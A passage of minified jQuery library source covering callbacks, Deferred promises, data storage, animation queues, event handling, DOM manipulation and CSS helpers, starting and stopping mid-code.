t(n){E.each(n,(function(n,i){if(y(i)){if(!e.unique||!u.has(i)){s.push(i)}}else if(i&&i.length&&k(i)!=="string"){t(i)}}))})(arguments);if(n&&!t){l()}}return this},remove:function(){E.each(arguments,(function(e,t){var n;while((n=E.inArray(t,s,n))>-1){s.splice(n,1);if(n<=a){a--}}}));return this},has:function(e){return e?E.inArray(e,s)>-1:s.length>0},empty:function(){if(s){s=[]}return this},disable:function(){r=o=[];s=n="";return this},disabled:function(){return!s},lock:function(){r=o=[];if(!n&&!t){s=n=""}return this},locked:function(){return!!r},fireWith:function(e,n){if(!r){n=n||[];n=[e,n.slice?n.slice():n];o.push(n);if(!t){l()}}return this},fire:function(){u.fireWith(this,arguments);return this},fired:function(){return!!i}};return u};function q(e){return e}function z(e){throw e}function W(e,t,n,i){var r;try{if(e&&y(r=e.promise)){r.call(e).done(t).fail(n)}else if(e&&y(r=e.then)){r.call(e,t,n)}else{t.apply(undefined,[e].slice(i))}}catch(e){n.apply(undefined,[e])}}E.extend({Deferred:function(e){var t=[["notify","progress",E.Callbacks("memory"),E.Callbacks("memory"),2],["resolve","done",E.Callbacks("once memory"),E.Callbacks("once memory"),0,"resolved"],["reject","fail",E.Callbacks("once memory"),E.Callbacks("once memory"),1,"rejected"]],n="pending",i={state:function(){return n},always:function(){s.done(arguments).fail(arguments);return this},catch:function(e){return i.then(null,e)},pipe:function(){var e=arguments;return E.Deferred((function(n){E.each(t,(function(t,i){var r=y(e[i[4]])&&e[i[4]];s[i[1]]((function(){var e=r&&r.apply(this,arguments);if(e&&y(e.promise)){e.promise().progress(n.notify).done(n.resolve).fail(n.reject)}else{n[i[0]+"With"](this,r?[e]:arguments)}}))}));e=null})).promise()},then:function(e,n,i){var s=0;function o(e,t,n,i){return function(){var a=this,l=arguments,u=function(){var r,u;if(e<s){return}r=n.apply(a,l);if(r===t.promise()){throw new TypeError("Thenable self-resolution")}u=r&&(typeof r==="object"||typeof r==="function")&&r.then;if(y(u)){if(i){u.call(r,o(s,t,q,i),o(s,t,z,i))}else{s++;u.call(r,o(s,t,q,i),o(s,t,z,i),o(s,t,q,t.notifyWith))}}else{if(n!==q){a=undefined;l=[r]}(i||t.resolveWith)(a,l)}},c=i?u:function(){try{u()}catch(i){if(E.Deferred.exceptionHook){E.Deferred.exceptionHook(i,c.stackTrace)}if(e+1>=s){if(n!==z){a=undefined;l=[i]}t.rejectWith(a,l)}}};if(e){c()}else{if(E.Deferred.getStackHook){c.stackTrace=E.Deferred.getStackHook()}r.setTimeout(c)}}}return E.Deferred((function(r){t[0][3].add(o(0,r,y(i)?i:q,r.notifyWith));t[1][3].add(o(0,r,y(e)?e:q));t[2][3].add(o(0,r,y(n)?n:z))})).promise()},promise:function(e){return e!=null?E.extend(e,i):i}},s={};E.each(t,(function(e,r){var o=r[2],a=r[5];i[r[1]]=o.add;if(a){o.add((function(){n=a}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock)}o.add(r[3].fire);s[r[0]]=function(){s[r[0]+"With"](this===s?undefined:this,arguments);return this};s[r[0]+"With"]=o.fireWith}));i.promise(s);if(e){e.call(s,s)}return s},when:function(e){var t=arguments.length,n=t,i=Array(n),r=l.call(arguments),s=E.Deferred(),o=function(e){return function(n){i[e]=this;r[e]=arguments.length>1?l.call(arguments):n;if(! --t){s.resolveWith(i,r)}}};if(t<=1){W(e,s.done(o(n)).resolve,s.reject,!t);if(s.state()==="pending"||y(r[n]&&r[n].then)){return s.then()}}while(n--){W(r[n],o(n),s.reject)}return s.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){if(r.console&&r.console.warn&&e&&Q.test(e.name)){r.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)}};E.readyException=function(e){r.setTimeout((function(){throw e}))};var V=E.Deferred();E.fn.ready=function(e){V.then(e).catch((function(e){E.readyException(e)}));return this};E.extend({isReady:false,readyWait:1,ready:function(e){if(e===true?--E.readyWait:E.isReady){return}E.isReady=true;if(e!==true&&--E.readyWait>0){return}V.resolveWith(_,[E])}});E.ready.then=V.then;function U(){_.removeEventListener("DOMContentLoaded",U);r.removeEventListener("load",U);E.ready()}if(_.readyState==="complete"||_.readyState!=="loading"&&!_.documentElement.doScroll){r.setTimeout(E.ready)}else{_.addEventListener("DOMContentLoaded",U);r.addEventListener("load",U)}var K=function(e,t,n,i,r,s,o){var a=0,l=e.length,u=n==null;if(k(n)==="object"){r=true;for(a in n){K(e,t,a,n[a],true,s,o)}}else if(i!==undefined){r=true;if(!y(i)){o=true}if(u){if(o){t.call(e,i);t=null}else{u=t;t=function(e,t,n){return u.call(E(e),n)}}}if(t){for(;a<l;a++){t(e[a],n,o?i:i.call(e[a],a,t(e[a],n)))}}}if(r){return e}if(u){return t.call(e)}return l?t(e[0],n):s};var G=/^-ms-/,Y=/-([a-z])/g;function X(e,t){return t.toUpperCase()}function J(e){return e.replace(G,"ms-").replace(Y,X)}var Z=function(e){return e.nodeType===1||e.nodeType===9||!+e.nodeType};function ee(){this.expando=E.expando+ee.uid++}ee.uid=1;ee.prototype={cache:function(e){var t=e[this.expando];if(!t){t={};if(Z(e)){if(e.nodeType){e[this.expando]=t}else{Object.defineProperty(e,this.expando,{value:t,configurable:true})}}}return t},set:function(e,t,n){var i,r=this.cache(e);if(typeof t==="string"){r[J(t)]=n}else{for(i in t){r[J(i)]=t[i]}}return r},get:function(e,t){return t===undefined?this.cache(e):e[this.expando]&&e[this.expando][J(t)]},access:function(e,t,n){if(t===undefined||t&&typeof t==="string"&&n===undefined){return this.get(e,t)}this.set(e,t,n);return n!==undefined?n:t},remove:function(e,t){var n,i=e[this.expando];if(i===undefined){return}if(t!==undefined){if(Array.isArray(t)){t=t.map(J)}else{t=J(t);t=t in i?[t]:t.match(H)||[]}n=t.length;while(n--){delete i[t[n]]}}if(t===undefined||E.isEmptyObject(i)){if(e.nodeType){e[this.expando]=undefined}else{delete e[this.expando]}}},hasData:function(e){var t=e[this.expando];return t!==undefined&&!E.isEmptyObject(t)}};var te=new ee;var ne=new ee;var ie=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,re=/[A-Z]/g;function se(e){if(e==="true"){return true}if(e==="false"){return false}if(e==="null"){return null}if(e===+e+""){return+e}if(ie.test(e)){return JSON.parse(e)}return e}function oe(e,t,n){var i;if(n===undefined&&e.nodeType===1){i="data-"+t.replace(re,"-$&").toLowerCase();n=e.getAttribute(i);if(typeof n==="string"){try{n=se(n)}catch(e){}ne.set(e,t,n)}else{n=undefined}}return n}E.extend({hasData:function(e){return ne.hasData(e)||te.hasData(e)},data:function(e,t,n){return ne.access(e,t,n)},removeData:function(e,t){ne.remove(e,t)},_data:function(e,t,n){return te.access(e,t,n)},_removeData:function(e,t){te.remove(e,t)}});E.fn.extend({data:function(e,t){var n,i,r,s=this[0],o=s&&s.attributes;if(e===undefined){if(this.length){r=ne.get(s);if(s.nodeType===1&&!te.get(s,"hasDataAttrs")){n=o.length;while(n--){if(o[n]){i=o[n].name;if(i.indexOf("data-")===0){i=J(i.slice(5));oe(s,i,r[i])}}}te.set(s,"hasDataAttrs",true)}}return r}if(typeof e==="object"){return this.each((function(){ne.set(this,e)}))}return K(this,(function(t){var n;if(s&&t===undefined){n=ne.get(s,e);if(n!==undefined){return n}n=oe(s,e);if(n!==undefined){return n}return}this.each((function(){ne.set(this,e,t)}))}),null,t,arguments.length>1,null,true)},removeData:function(e){return this.each((function(){ne.remove(this,e)}))}});E.extend({queue:function(e,t,n){var i;if(e){t=(t||"fx")+"queue";i=te.get(e,t);if(n){if(!i||Array.isArray(n)){i=te.access(e,t,E.makeArray(n))}else{i.push(n)}}return i||[]}},dequeue:function(e,t){t=t||"fx";var n=E.queue(e,t),i=n.length,r=n.shift(),s=E._queueHooks(e,t),o=function(){E.dequeue(e,t)};if(r==="inprogress"){r=n.shift();i--}if(r){if(t==="fx"){n.unshift("inprogress")}delete s.stop;r.call(e,o,s)}if(!i&&s){s.empty.fire()}},_queueHooks:function(e,t){var n=t+"queueHooks";return te.get(e,n)||te.access(e,n,{empty:E.Callbacks("once memory").add((function(){te.remove(e,[t+"queue",n])}))})}});E.fn.extend({queue:function(e,t){var n=2;if(typeof e!=="string"){t=e;e="fx";n--}if(arguments.length<n){return E.queue(this[0],e)}return t===undefined?this:this.each((function(){var n=E.queue(this,e,t);E._queueHooks(this,e);if(e==="fx"&&n[0]!=="inprogress"){E.dequeue(this,e)}}))},dequeue:function(e){return this.each((function(){E.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,i=1,r=E.Deferred(),s=this,o=this.length,a=function(){if(! --i){r.resolveWith(s,[s])}};if(typeof e!=="string"){t=e;e=undefined}e=e||"fx";while(o--){n=te.get(s[o],e+"queueHooks");if(n&&n.empty){i++;n.empty.add(a)}}a();return r.promise(t)}});var ae=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source;var le=new RegExp("^(?:([+-])=|)("+ae+")([a-z%]*)$","i");var ue=["Top","Right","Bottom","Left"];var ce=_.documentElement;var fe=function(e){return E.contains(e.ownerDocument,e)},de={composed:true};if(ce.getRootNode){fe=function(e){return E.contains(e.ownerDocument,e)||e.getRootNode(de)===e.ownerDocument}}var he=function(e,t){e=t||e;return e.style.display==="none"||e.style.display===""&&fe(e)&&E.css(e,"display")==="none"};function pe(e,t,n,i){var r,s,o=20,a=i?function(){return i.cur()}:function(){return E.css(e,t,"")},l=a(),u=n&&n[3]||(E.cssNumber[t]?"":"px"),c=e.nodeType&&(E.cssNumber[t]||u!=="px"&&+l)&&le.exec(E.css(e,t));if(c&&c[3]!==u){l=l/2;u=u||c[3];c=+l||1;while(o--){E.style(e,t,c+u);if((1-s)*(1-(s=a()/l||.5))<=0){o=0}c=c/s}c=c*2;E.style(e,t,c+u);n=n||[]}if(n){c=+c||+l||0;r=n[1]?c+(n[1]+1)*n[2]:+n[2];if(i){i.unit=u;i.start=c;i.end=r}}return r}var ge={};function ve(e){var t,n=e.ownerDocument,i=e.nodeName,r=ge[i];if(r){return r}t=n.body.appendChild(n.createElement(i));r=E.css(t,"display");t.parentNode.removeChild(t);if(r==="none"){r="block"}ge[i]=r;return r}function me(e,t){var n,i,r=[],s=0,o=e.length;for(;s<o;s++){i=e[s];if(!i.style){continue}n=i.style.display;if(t){if(n==="none"){r[s]=te.get(i,"display")||null;if(!r[s]){i.style.display=""}}if(i.style.display===""&&he(i)){r[s]=ve(i)}}else{if(n!=="none"){r[s]="none";te.set(i,"display",n)}}}for(s=0;s<o;s++){if(r[s]!=null){e[s].style.display=r[s]}}return e}E.fn.extend({show:function(){return me(this,true)},hide:function(){return me(this)},toggle:function(e){if(typeof e==="boolean"){return e?this.show():this.hide()}return this.each((function(){if(he(this)){E(this).show()}else{E(this).hide()}}))}});var ye=/^(?:checkbox|radio)$/i;var be=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i;var _e=/^$|^module$|\/(?:java|ecma)script/i;(function(){var e=_.createDocumentFragment(),t=e.appendChild(_.createElement("div")),n=_.createElement("input");n.setAttribute("type","radio");n.setAttribute("checked","checked");n.setAttribute("name","t");t.appendChild(n);m.checkClone=t.cloneNode(true).cloneNode(true).lastChild.checked;t.innerHTML="<textarea>x</textarea>";m.noCloneChecked=!!t.cloneNode(true).lastChild.defaultValue;t.innerHTML="<option></option>";m.option=!!t.lastChild})();var we={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};we.tbody=we.tfoot=we.colgroup=we.caption=we.thead;we.th=we.td;if(!m.option){we.optgroup=we.option=[1,"<select multiple='multiple'>","</select>"]}function xe(e,t){var n;if(typeof e.getElementsByTagName!=="undefined"){n=e.getElementsByTagName(t||"*")}else if(typeof e.querySelectorAll!=="undefined"){n=e.querySelectorAll(t||"*")}else{n=[]}if(t===undefined||t&&O(e,t)){return E.merge([e],n)}return n}function ke(e,t){var n=0,i=e.length;for(;n<i;n++){te.set(e[n],"globalEval",!t||te.get(t[n],"globalEval"))}}var Ce=/<|&#?\w+;/;function Ee(e,t,n,i,r){var s,o,a,l,u,c,f=t.createDocumentFragment(),d=[],h=0,p=e.length;for(;h<p;h++){s=e[h];if(s||s===0){if(k(s)==="object"){E.merge(d,s.nodeType?[s]:s)}else if(!Ce.test(s)){d.push(t.createTextNode(s))}else{o=o||f.appendChild(t.createElement("div"));a=(be.exec(s)||["",""])[1].toLowerCase();l=we[a]||we._default;o.innerHTML=l[1]+E.htmlPrefilter(s)+l[2];c=l[0];while(c--){o=o.lastChild}E.merge(d,o.childNodes);o=f.firstChild;o.textContent=""}}}f.textContent="";h=0;while(s=d[h++]){if(i&&E.inArray(s,i)>-1){if(r){r.push(s)}continue}u=fe(s);o=xe(f.appendChild(s),"script");if(u){ke(o)}if(n){c=0;while(s=o[c++]){if(_e.test(s.type||"")){n.push(s)}}}}return f}var Ae=/^([^.]*)(?:\.(.+)|)/;function Te(){return true}function Se(){return false}function je(e,t){return e===De()===(t==="focus")}function De(){try{return _.activeElement}catch(e){}}function Oe(e,t,n,i,r,s){var o,a;if(typeof t==="object"){if(typeof n!=="string"){i=i||n;n=undefined}for(a in t){Oe(e,a,n,i,t[a],s)}return e}if(i==null&&r==null){r=n;i=n=undefined}else if(r==null){if(typeof n==="string"){r=i;i=undefined}else{r=i;i=n;n=undefined}}if(r===false){r=Se}else if(!r){return e}if(s===1){o=r;r=function(e){E().off(e);return o.apply(this,arguments)};r.guid=o.guid||(o.guid=E.guid++)}return e.each((function(){E.event.add(this,t,r,i,n)}))}E.event={global:{},add:function(e,t,n,i,r){var s,o,a,l,u,c,f,d,h,p,g,v=te.get(e);if(!Z(e)){return}if(n.handler){s=n;n=s.handler;r=s.selector}if(r){E.find.matchesSelector(ce,r)}if(!n.guid){n.guid=E.guid++}if(!(l=v.events)){l=v.events=Object.create(null)}if(!(o=v.handle)){o=v.handle=function(t){return typeof E!=="undefined"&&E.event.triggered!==t.type?E.event.dispatch.apply(e,arguments):undefined}}t=(t||"").match(H)||[""];u=t.length;while(u--){a=Ae.exec(t[u])||[];h=g=a[1];p=(a[2]||"").split(".").sort();if(!h){continue}f=E.event.special[h]||{};h=(r?f.delegateType:f.bindType)||h;f=E.event.special[h]||{};c=E.extend({type:h,origType:g,data:i,handler:n,guid:n.guid,selector:r,needsContext:r&&E.expr.match.needsContext.test(r),namespace:p.join(".")},s);if(!(d=l[h])){d=l[h]=[];d.delegateCount=0;if(!f.setup||f.setup.call(e,i,p,o)===false){if(e.addEventListener){e.addEventListener(h,o)}}}if(f.add){f.add.call(e,c);if(!c.handler.guid){c.handler.guid=n.guid}}if(r){d.splice(d.delegateCount++,0,c)}else{d.push(c)}E.event.global[h]=true}},remove:function(e,t,n,i,r){var s,o,a,l,u,c,f,d,h,p,g,v=te.hasData(e)&&te.get(e);if(!v||!(l=v.events)){return}t=(t||"").match(H)||[""];u=t.length;while(u--){a=Ae.exec(t[u])||[];h=g=a[1];p=(a[2]||"").split(".").sort();if(!h){for(h in l){E.event.remove(e,h+t[u],n,i,true)}continue}f=E.event.special[h]||{};h=(i?f.delegateType:f.bindType)||h;d=l[h]||[];a=a[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)");o=s=d.length;while(s--){c=d[s];if((r||g===c.origType)&&(!n||n.guid===c.guid)&&(!a||a.test(c.namespace))&&(!i||i===c.selector||i==="**"&&c.selector)){d.splice(s,1);if(c.selector){d.delegateCount--}if(f.remove){f.remove.call(e,c)}}}if(o&&!d.length){if(!f.teardown||f.teardown.call(e,p,v.handle)===false){E.removeEvent(e,h,v.handle)}delete l[h]}}if(E.isEmptyObject(l)){te.remove(e,"handle events")}},dispatch:function(e){var t,n,i,r,s,o,a=new Array(arguments.length),l=E.event.fix(e),u=(te.get(this,"events")||Object.create(null))[l.type]||[],c=E.event.special[l.type]||{};a[0]=l;for(t=1;t<arguments.length;t++){a[t]=arguments[t]}l.delegateTarget=this;if(c.preDispatch&&c.preDispatch.call(this,l)===false){return}o=E.event.handlers.call(this,l,u);t=0;while((r=o[t++])&&!l.isPropagationStopped()){l.currentTarget=r.elem;n=0;while((s=r.handlers[n++])&&!l.isImmediatePropagationStopped()){if(!l.rnamespace||s.namespace===false||l.rnamespace.test(s.namespace)){l.handleObj=s;l.data=s.data;i=((E.event.special[s.origType]||{}).handle||s.handler).apply(r.elem,a);if(i!==undefined){if((l.result=i)===false){l.preventDefault();l.stopPropagation()}}}}}if(c.postDispatch){c.postDispatch.call(this,l)}return l.result},handlers:function(e,t){var n,i,r,s,o,a=[],l=t.delegateCount,u=e.target;if(l&&u.nodeType&&!(e.type==="click"&&e.button>=1)){for(;u!==this;u=u.parentNode||this){if(u.nodeType===1&&!(e.type==="click"&&u.disabled===true)){s=[];o={};for(n=0;n<l;n++){i=t[n];r=i.selector+" ";if(o[r]===undefined){o[r]=i.needsContext?E(r,this).index(u)>-1:E.find(r,this,null,[u]).length}if(o[r]){s.push(i)}}if(s.length){a.push({elem:u,handlers:s})}}}}u=this;if(l<t.length){a.push({elem:u,handlers:t.slice(l)})}return a},addProp:function(e,t){Object.defineProperty(E.Event.prototype,e,{enumerable:true,configurable:true,get:y(t)?function(){if(this.originalEvent){return t(this.originalEvent)}}:function(){if(this.originalEvent){return this.originalEvent[e]}},set:function(t){Object.defineProperty(this,e,{enumerable:true,configurable:true,writable:true,value:t})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:true},click:{setup:function(e){var t=this||e;if(ye.test(t.type)&&t.click&&O(t,"input")){Ne(t,"click",Te)}return false},trigger:function(e){var t=this||e;if(ye.test(t.type)&&t.click&&O(t,"input")){Ne(t,"click")}return true},_default:function(e){var t=e.target;return ye.test(t.type)&&t.click&&O(t,"input")&&te.get(t,"click")||O(t,"a")}},beforeunload:{postDispatch:function(e){if(e.result!==undefined&&e.originalEvent){e.originalEvent.returnValue=e.result}}}}};function Ne(e,t,n){if(!n){if(te.get(e,t)===undefined){E.event.add(e,t,Te)}return}te.set(e,t,false);E.event.add(e,t,{namespace:false,handler:function(e){var i,r,s=te.get(this,t);if(e.isTrigger&1&&this[t]){if(!s.length){s=l.call(arguments);te.set(this,t,s);i=n(this,t);this[t]();r=te.get(this,t);if(s!==r||i){te.set(this,t,false)}else{r={}}if(s!==r){e.stopImmediatePropagation();e.preventDefault();return r&&r.value}}else if((E.event.special[t]||{}).delegateType){e.stopPropagation()}}else if(s.length){te.set(this,t,{value:E.event.trigger(E.extend(s[0],E.Event.prototype),s.slice(1),this)});e.stopImmediatePropagation()}}})}E.removeEvent=function(e,t,n){if(e.removeEventListener){e.removeEventListener(t,n)}};E.Event=function(e,t){if(!(this instanceof E.Event)){return new E.Event(e,t)}if(e&&e.type){this.originalEvent=e;this.type=e.type;this.isDefaultPrevented=e.defaultPrevented||e.defaultPrevented===undefined&&e.returnValue===false?Te:Se;this.target=e.target&&e.target.nodeType===3?e.target.parentNode:e.target;this.currentTarget=e.currentTarget;this.relatedTarget=e.relatedTarget}else{this.type=e}if(t){E.extend(this,t)}this.timeStamp=e&&e.timeStamp||Date.now();this[E.expando]=true};E.Event.prototype={constructor:E.Event,isDefaultPrevented:Se,isPropagationStopped:Se,isImmediatePropagationStopped:Se,isSimulated:false,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Te;if(e&&!this.isSimulated){e.preventDefault()}},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Te;if(e&&!this.isSimulated){e.stopPropagation()}},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Te;if(e&&!this.isSimulated){e.stopImmediatePropagation()}this.stopPropagation()}};E.each({altKey:true,bubbles:true,cancelable:true,changedTouches:true,ctrlKey:true,detail:true,eventPhase:true,metaKey:true,pageX:true,pageY:true,shiftKey:true,view:true,char:true,code:true,charCode:true,key:true,keyCode:true,button:true,buttons:true,clientX:true,clientY:true,offsetX:true,offsetY:true,pointerId:true,pointerType:true,screenX:true,screenY:true,targetTouches:true,toElement:true,touches:true,which:true},E.event.addProp);E.each({focus:"focusin",blur:"focusout"},(function(e,t){E.event.special[e]={setup:function(){Ne(this,e,je);return false},trigger:function(){Ne(this,e);return true},_default:function(){return true},delegateType:t}}));E.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){E.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,i=this,r=e.relatedTarget,s=e.handleObj;if(!r||r!==i&&!E.contains(i,r)){e.type=s.origType;n=s.handler.apply(this,arguments);e.type=t}return n}}}));E.fn.extend({on:function(e,t,n,i){return Oe(this,e,t,n,i)},one:function(e,t,n,i){return Oe(this,e,t,n,i,1)},off:function(e,t,n){var i,r;if(e&&e.preventDefault&&e.handleObj){i=e.handleObj;E(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler);return this}if(typeof e==="object"){for(r in e){this.off(r,t,e[r])}return this}if(t===false||typeof t==="function"){n=t;t=undefined}if(n===false){n=Se}return this.each((function(){E.event.remove(this,e,n,t)}))}});var Pe=/<script|<style|<link/i,Le=/checked\s*(?:[^=]|=\s*.checked.)/i,Fe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ie(e,t){if(O(e,"table")&&O(t.nodeType!==11?t:t.firstChild,"tr")){return E(e).children("tbody")[0]||e}return e}function Me(e){e.type=(e.getAttribute("type")!==null)+"/"+e.type;return e}function $e(e){if((e.type||"").slice(0,5)==="true/"){e.type=e.type.slice(5)}else{e.removeAttribute("type")}return e}function Re(e,t){var n,i,r,s,o,a,l;if(t.nodeType!==1){return}if(te.hasData(e)){s=te.get(e);l=s.events;if(l){te.remove(t,"handle events");for(r in l){for(n=0,i=l[r].length;n<i;n++){E.event.add(t,r,l[r][n])}}}}if(ne.hasData(e)){o=ne.access(e);a=E.extend({},o);ne.set(t,a)}}function He(e,t){var n=t.nodeName.toLowerCase();if(n==="input"&&ye.test(e.type)){t.checked=e.checked}else if(n==="input"||n==="textarea"){t.defaultValue=e.defaultValue}}function Be(e,t,n,i){t=u(t);var r,s,o,a,l,c,f=0,d=e.length,h=d-1,p=t[0],g=y(p);if(g||d>1&&typeof p==="string"&&!m.checkClone&&Le.test(p)){return e.each((function(r){var s=e.eq(r);if(g){t[0]=p.call(this,r,s.html())}Be(s,t,n,i)}))}if(d){r=Ee(t,e[0].ownerDocument,false,e,i);s=r.firstChild;if(r.childNodes.length===1){r=s}if(s||i){o=E.map(xe(r,"script"),Me);a=o.length;for(;f<d;f++){l=r;if(f!==h){l=E.clone(l,true,true);if(a){E.merge(o,xe(l,"script"))}}n.call(e[f],l,f)}if(a){c=o[o.length-1].ownerDocument;E.map(o,$e);for(f=0;f<a;f++){l=o[f];if(_e.test(l.type||"")&&!te.access(l,"globalEval")&&E.contains(c,l)){if(l.src&&(l.type||"").toLowerCase()!=="module"){if(E._evalUrl&&!l.noModule){E._evalUrl(l.src,{nonce:l.nonce||l.getAttribute("nonce")},c)}}else{x(l.textContent.replace(Fe,""),l,c)}}}}}}return e}function qe(e,t,n){var i,r=t?E.filter(t,e):e,s=0;for(;(i=r[s])!=null;s++){if(!n&&i.nodeType===1){E.cleanData(xe(i))}if(i.parentNode){if(n&&fe(i)){ke(xe(i,"script"))}i.parentNode.removeChild(i)}}return e}E.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var i,r,s,o,a=e.cloneNode(true),l=fe(e);if(!m.noCloneChecked&&(e.nodeType===1||e.nodeType===11)&&!E.isXMLDoc(e)){o=xe(a);s=xe(e);for(i=0,r=s.length;i<r;i++){He(s[i],o[i])}}if(t){if(n){s=s||xe(e);o=o||xe(a);for(i=0,r=s.length;i<r;i++){Re(s[i],o[i])}}else{Re(e,a)}}o=xe(a,"script");if(o.length>0){ke(o,!l&&xe(e,"script"))}return a},cleanData:function(e){var t,n,i,r=E.event.special,s=0;for(;(n=e[s])!==undefined;s++){if(Z(n)){if(t=n[te.expando]){if(t.events){for(i in t.events){if(r[i]){E.event.remove(n,i)}else{E.removeEvent(n,i,t.handle)}}}n[te.expando]=undefined}if(n[ne.expando]){n[ne.expando]=undefined}}}}});E.fn.extend({detach:function(e){return qe(this,e,true)},remove:function(e){return qe(this,e)},text:function(e){return K(this,(function(e){return e===undefined?E.text(this):this.empty().each((function(){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){this.textContent=e}}))}),null,e,arguments.length)},append:function(){return Be(this,arguments,(function(e){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var t=Ie(this,e);t.appendChild(e)}}))},prepend:function(){return Be(this,arguments,(function(e){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var t=Ie(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Be(this,arguments,(function(e){if(this.parentNode){this.parentNode.insertBefore(e,this)}}))},after:function(){return Be(this,arguments,(function(e){if(this.parentNode){this.parentNode.insertBefore(e,this.nextSibling)}}))},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){if(e.nodeType===1){E.cleanData(xe(e,false));e.textContent=""}}return this},clone:function(e,t){e=e==null?false:e;t=t==null?e:t;return this.map((function(){return E.clone(this,e,t)}))},html:function(e){return K(this,(function(e){var t=this[0]||{},n=0,i=this.length;if(e===undefined&&t.nodeType===1){return t.innerHTML}if(typeof e==="string"&&!Pe.test(e)&&!we[(be.exec(e)||["",""])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<i;n++){t=this[n]||{};if(t.nodeType===1){E.cleanData(xe(t,false));t.innerHTML=e}}t=0}catch(e){}}if(t){this.empty().append(e)}}),null,e,arguments.length)},replaceWith:function(){var e=[];return Be(this,arguments,(function(t){var n=this.parentNode;if(E.inArray(this,e)<0){E.cleanData(xe(this));if(n){n.replaceChild(t,this)}}}),e)}});E.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){E.fn[e]=function(e){var n,i=[],r=E(e),s=r.length-1,o=0;for(;o<=s;o++){n=o===s?this:this.clone(true);E(r[o])[t](n);c.apply(i,n.get())}return this.pushStack(i)}}));var ze=new RegExp("^("+ae+")(?!px)[a-z%]+$","i");var We=function(e){var t=e.ownerDocument.defaultView;if(!t||!t.opener){t=r}return t.getComputedStyle(e)};var Qe=function(e,t,n){var i,r,s={};for(r in t){s[r]=e.style[r];e.style[r]=t[r]}i=n.call(e);for(r in t){e.style[r]=s[r]}return i};var Ve=new RegExp(ue.join("|"),"i");(function(){function e(){if(!c){return}u.style.cssText="position:absolute;left:-11111px;width:60px;"+"margin-top:1px;padding:0;border:0";c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;"+"margin:auto;border:1px;padding:1px;"+"width:60%;top:1%";ce.appendChild(u).appendChild(c);var e=r.getComputedStyle(c);n=e.top!=="1%";l=t(e.marginLeft)===12;c.style.right="60%";o=t(e.right)===36;i=t(e.width)===36;c.style.position="absolute";s=t(c.offsetWidth/3)===12;ce.removeChild(u);c=null}function t(e){return Math.round(parseFloat(e))}var n,i,s,o,a,l,u=_.createElement("div"),c=_.createElement("div");if(!c.style){return}c.style.backgroundClip="content-box";c.cloneNode(true).style.backgroundClip="";m.clearCloneStyle=c.style.backgroundClip==="content-box";E.extend(m,{boxSizingReliable:function(){e();return i},pixelBoxStyles:function(){e();return o},pixelPosition:function(){e();return n},reliableMarginLeft:function(){e();return l},scrollboxSize:function(){e();return s},reliableTrDimensions:function(){var e,t,n,i;if(a==null){e=_.createElement("table");t=_.createElement("tr");n=_.createElement("div");e.style.cssText="position:absolute;left:-11111px;border-collapse:separate";t.style.cssText="border:1px solid";t.style.height="1px";n.style.height="9px";n.style.display="block";ce.appendChild(e).appendChild(t).appendChild(n);i=r.getComputedStyle(t);a=parseInt(i.height,10)+parseInt(i.borderTopWidth,10)+parseInt(i.borderBottomWidth,10)===t.offsetHeight;ce.removeChild(e)}return a}})})();function Ue(e,t,n){var i,r,s,o,a=e.style;n=n||We(e);if(n){o=n.getPropertyValue(t)||n[t];if(o===""&&!fe(e)){o=E.style(e,t)}if(!m.pixelBoxStyles()&&ze.test(o)&&Ve.test(t)){i=a.width;r=a.minWidth;s=a.maxWidth;a.minWidth=a.maxWidth=a.width=o;o=n.width;a.width=i;a.minWidth=r;a.maxWidth=s}}return o!==undefined?o+"":o}function Ke(e,t){return{get:function(){if(e()){delete this.get;return}return(this.get=t).apply(this,arguments)}}}var Ge=["Webkit","Moz","ms"],Ye=_.createElement("div").style,Xe={};function Je(e){var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--){e=Ge[n]+t;if(e in Ye){return e}}}function Ze(e){var t=E.cssProps[e]||Xe[e];if(t){return t}if(e in Ye){return e}return Xe[e]=Je(e)||e}var et=/^(none|table(?!-c[ea]).+)/,tt=/^--/,nt={position:"absolute",visibility:"hidden",display:"block"},it={letterSpacing:"0",fontWeight:"400"};function rt(e,t,n){var i=le.exec(t);return i?Math.max(0,i[2]-(n||0))+(i[3]||"px"):t}function st(e,t,n,i,r,s){var o=t==="width"?1:0,a=0,l=0;if(n===(i?"border":"content")){return 